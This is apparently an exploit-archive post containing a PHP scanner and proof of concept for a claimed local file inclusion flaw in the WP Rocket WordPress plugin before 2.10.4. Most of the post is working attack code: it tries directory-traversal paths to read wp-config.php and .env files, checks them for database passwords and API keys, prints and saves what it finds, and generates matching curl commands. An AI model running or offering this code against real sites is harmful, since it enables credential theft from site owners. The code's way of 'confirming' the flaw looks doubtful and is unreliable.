WordPress WP Rocket 2.10.3 LFI Vulnerability Scanner
=============================================================================================================================================
| # Title WordPress WP Rocket 2.10.3 LFI Vulnerability Scanner
=============================================================================================================================================
| # Title : WordPress WP Rocket 2.10.3 LFI Vulnerability Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://wordpress.org/plugins/search/Rocket+Plugin/ |
=============================================================================================================================================
POC :
[+] References : https://packetstorm.news/files/id/175645/
[+] Summary :
a Local File Inclusion (LFI) vulnerability in WP Rocket Plugin versions prior to 2.10.4.
The vulnerability allows unauthenticated attackers to read sensitive files from the web server,
potentially exposing database credentials, configuration files, and other critical system information.
[+] POC :
# Full Scan
php poc.php -u https://example.com
# Generate curl commands for manual testing
php poc.php -u https://example.com --curl
---
#!/usr/bin/env php
<?php
/**
* WP Rocket Plugin Local File Inclusion Vulnerability Scanner
* CVE: WPVDB-ID:5484D821-7017-47A8-90D8-7D87CB5E0E50
* Author: indoushka
* Vulnerable Versions: WP Rocket < 2.10.4
*/
class WPRocketLFIScanner {
private $target;
private $user_agent;
public function __construct($target_url) {
$this->target = rtrim($target_url, '/');
$this->user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36';
}
public function check_wp_rocket_version() {
echo "[*] Checking WP Rocket version...\n";
$version_url = $this->target . "/wp-rocket/css/rocket.css";
try {
$context = stream_context_create([
'http' => [
'method' => 'GET',
'header' => "User-Agent: {$this->user_agent}\r\n",
'timeout' => 10
]
]);
$response = @file_get_contents($version_url, false, $context);
if ($response !== false) {
// Check headers for version information
$headers = $http_response_header;
foreach ($headers as $header) {
if (stripos($header, 'X-Powered-By') !== false && stripos($header, 'WP Rocket') !== false) {
$version = explode('/', $header);
if (isset($version[1])) {
return trim($version[1]);
}
}
}
// Alternative method: check file content
if (preg_match('/WP Rocket\s+([\d\.]+)/i', $response, $matches)) {
return $matches[1];
}
}
// Try alternative detection methods
return $this->alternative_version_detection();
} catch (Exception $e) {
echo "[-] Error checking version: " . $e->getMessage() . "\n";
}
return null;
}
private function alternative_version_detection() {
echo "[*] Trying alternative version detection methods...\n";
$paths = [
'/wp-content/plugins/wp-rocket/readme.txt',
'/wp-content/plugins/wp-rocket/wp-rocket.php',
'/wp-rocket/readme.txt'
];
foreach ($paths as $path) {
$url = $this->target . $path;
try {
$context = stream_context_create([
'http' => [
'method' => 'GET',
'header' => "User-Agent: {$this->user_agent}\r\n",
'timeout' => 5
]
]);
$content = @file_get_contents($url, false, $context);
if ($content !== false) {
// Extract version from readme
if (preg_match('/Stable tag:\s*([\d\.]+)/i', $content, $matches)) {
return $matches[1];
}
// Extract version from plugin header
if (preg_match('/Version:\s*([\d\.]+)/i', $content, $matches)) {
return $matches[1];
}
}
} catch (Exception $e) {
// Continue to next path
}
}
return null;
}
public function test_lfi_vulnerability() {
echo "[*] Testing for LFI vulnerability...\n";
$lfi_paths = [
'/wp-rocket/inc/vendor/composer/installed.json',
'/wp-content/plugins/wp-rocket/inc/vendor/composer/installed.json',
'/wp-rocket/vendor/composer/installed.json'
];
$sensitive_files = [
'/../../../../wp-config.php',
'/../../../../../wp-config.php',
'/../../../../../../wp-config.php',
'/../wp-config.php'
];
foreach ($lfi_paths as $lfi_path) {
$url = $this->target . $lfi_path;
echo "[*] Testing path: {$lfi_path}\n";
try {
$context = stream_context_create([
'http' => [
'method' => 'GET',
'header' => "User-Agent: {$this->user_agent}\r\n",
'timeout' => 10
]
]);
$response = @file_get_contents($url, false, $context);
if ($response !== false) {
// Check if we got a valid JSON response (composer file)
if (strpos($response, 'packages') !== false || strpos($response, 'dev') !== false) {
echo "[+] LFI vulnerability confirmed: {$lfi_path}\n";
// Now try to read sensitive files
$this->test_sensitive_files($lfi_path);
return true;
}
}
} catch (Exception $e) {
echo "[-] Error testing LFI path {$lfi_path}: " . $e->getMessage() . "\n";
}
}
return false;
}
private function test_sensitive_files($base_path) {
echo "[*] Attempting to read sensitive files...\n";
$sensitive_files = [
'wp-config.php' => [
'/../../../../wp-config.php',
'/../../../../../wp-config.php',
'/../../../../../../wp-config.php'
],
'.env' => [
'/../../../../.env',
'/../../../../../.env'
],
'wp-config.php in parent' => [
'/../wp-config.php'
]
];
foreach ($sensitive_files as $file_type => $paths) {
foreach ($paths as $path) {
$test_url = $this->target . dirname($base_path) . $path;
echo "[*] Trying to read: {$file_type} via {$path}\n";
try {
$context = stream_context_create([
'http' => [
'method' => 'GET',
'header' => "User-Agent: {$this->user_agent}\r\n",
'timeout' => 5
]
]);
$content = @file_get_contents($test_url, false, $context);
if ($content !== false) {
// Check for common patterns in sensitive files
if ($this->is_sensitive_content($content, $file_type)) {
echo "[+] SUCCESS: Retrieved {$file_type} content!\n";
echo "=" . str_repeat("=", 60) . "\n";
echo substr($content, 0, 1000) . "\n"; // First 1000 chars
echo "=" . str_repeat("=", 60) . "\n";
// Save to file
$filename = "wp_rocket_lfi_{$file_type}_" . time() . ".txt";
file_put_contents($filename, $content);
echo "[+] Content saved to: {$filename}\n";
}
}
} catch (Exception $e) {
// Continue to next path
}
}
}
}
private function is_sensitive_content($content, $file_type) {
$indicators = [
'wp-config.php' => ['DB_NAME', 'DB_USER', 'DB_PASSWORD', 'DB_HOST', 'AUTH_KEY'],
'.env' => ['DB_', 'DATABASE_', 'API_KEY', 'SECRET_'],
];
if (isset($indicators[$file_type])) {
foreach ($indicators[$file_type] as $indicator) {
if (stripos($content, $indicator) !== false) {
return true;
}
}
}
return false;
}
public function comprehensive_scan() {
$banner = "
??????? ?????????? ??????? ??? ?????????????? ?????? ??? ??????
???????? ??????????????????????? ?????????????? ?????? ????????????
????????? ????? ?????? ?????? ?????????????????????????? ????????
???????????????????????? ?????? ?????????????????????????? ????????
?????? ??????????????????????????????????????????? ?????? ?????? ???
?????? ???????????? ??????? ??????? ??????????? ?????? ?????? ???
WP Rocket LFI Vulnerability Scanner
By: indoushka
";
echo $banner . "\n";
echo "[*] Target: " . $this->target . "\n";
echo str_repeat("-", 60) . "\n";
// Check WP Rocket version
$version = $this->check_wp_rocket_version();
if ($version) {
echo "[+] WP Rocket Version Detected: " . $version . "\n";
$vulnerable_versions = ['2.10.0', '2.10.1', '2.10.2', '2.10.3'];
if (in_array($version, $vulnerable_versions)) {
echo "[!] Version is VULNERABLE to LFI\n";
// Test LFI vulnerability
if ($this->test_lfi_vulnerability()) {
echo "\n[!] CRITICAL: LFI vulnerability confirmed!\n";
echo "[!] Attackers can read sensitive files including wp-config.php\n";
} else {
echo "[-] LFI vulnerability not confirmed (may be patched or blocked)\n";
}
} else {
echo "[+] Version appears to be patched or not vulnerable\n";
}
} else {
echo "[-] WP Rocket not detected or version could not be determined\n";
echo "[*] Testing for LFI vulnerability anyway...\n";
$this->test_lfi_vulnerability();
}
echo "\n" . str_repeat("=", 60) . "\n";
echo "[*] Scan completed\n";
}
public function generate_curl_commands() {
echo "\n[+] Manual Testing Commands:\n";
echo str_repeat("-", 40) . "\n";
$paths = [
'/wp-rocket/inc/vendor/composer/installed.json',
'/wp-content/plugins/wp-rocket/inc/vendor/composer/installed.json'
];
foreach ($paths as $path) {
echo "curl -k '{$this->target}{$path}'\n";
}
echo "\n[+] Try reading wp-config.php:\n";
$base = '/wp-rocket/inc/vendor/composer';
echo "curl -k '{$this->target}{$base}/../../../../wp-config.php'\n";
echo "curl -k '{$this->target}{$base}/../../../../../wp-config.php'\n";
}
}
// Command line interface
if (php_sapi_name() === 'cli') {
$options = getopt("u:ch", ["url:", "curl", "help"]);
if (isset($options['h']) || isset($options['help']) || !isset($options['u'])) {
echo "Usage: php wp_rocket_lfi.php -u <target_url> [options]\n";
echo "Options:\n";
echo " -u, --url Target URL (required)\n";
echo " -c, --curl Generate curl commands for manual testing\n";
echo " -h, --help Show this help message\n";
echo "\nExample:\n";
echo " php wp_rocket_lfi.php -u https://example.com\n";
echo " php wp_rocket_lfi.php -u https://example.com --curl\n";
exit(1);
}
$target = $options['u'];
$scanner = new WPRocketLFIScanner($target);
if (isset($options['c']) || isset($options['curl'])) {
$scanner->generate_curl_commands();
} else {
$scanner->comprehensive_scan();
}
} else {
// Web interface
if (isset($_GET['url'])) {
$target = $_GET['url'];
$scanner = new WPRocketLFIScanner($target);
$scanner->comprehensive_scan();
} else {
echo "<h1>WP Rocket LFI Scanner</h1>";
echo "<form method='GET'>";
echo "Target URL: <input type='text' name='url' size='50' placeholder='https://example.com'>";
echo "<input type='submit' value='Scan'>";
echo "</form>";
}
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================